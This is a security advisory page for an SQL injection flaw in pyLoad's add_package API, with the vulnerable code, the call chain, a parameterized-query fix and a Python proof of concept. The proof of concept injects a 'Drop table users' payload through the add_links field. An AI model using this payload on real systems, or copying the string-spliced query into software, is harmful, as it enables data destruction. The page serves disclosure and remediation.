Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

PYSEC-2026-1821

HighCVSS 7.8 / 10
Published Jul 7, 2026·Last modified Jul 7, 2026
Affected Components(0)

No affected components available

Description

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

  • Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
  • Affected code:
@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info

PoC

import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation

def update_link_info(self, data):
   """
data is list of tuples (name, size, status, url)
"""
   self.c.executemany(
       "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
       data,
   )
   
   # 提取所有url
   urls = [x[3] for x in data]
   
   # 构建参数化查询,避免SQL注入
   placeholders = ','.join(['?'] * len(urls))
   query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
   self.c.execute(query, urls)
   
   ids = [int(row[0]) for row in self.c.fetchall()]
   return ids

Impact

Attackers can modify or delete data in the database, causing data errors or loss.

Risk Scores
Base Score
7.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.8

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.33%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard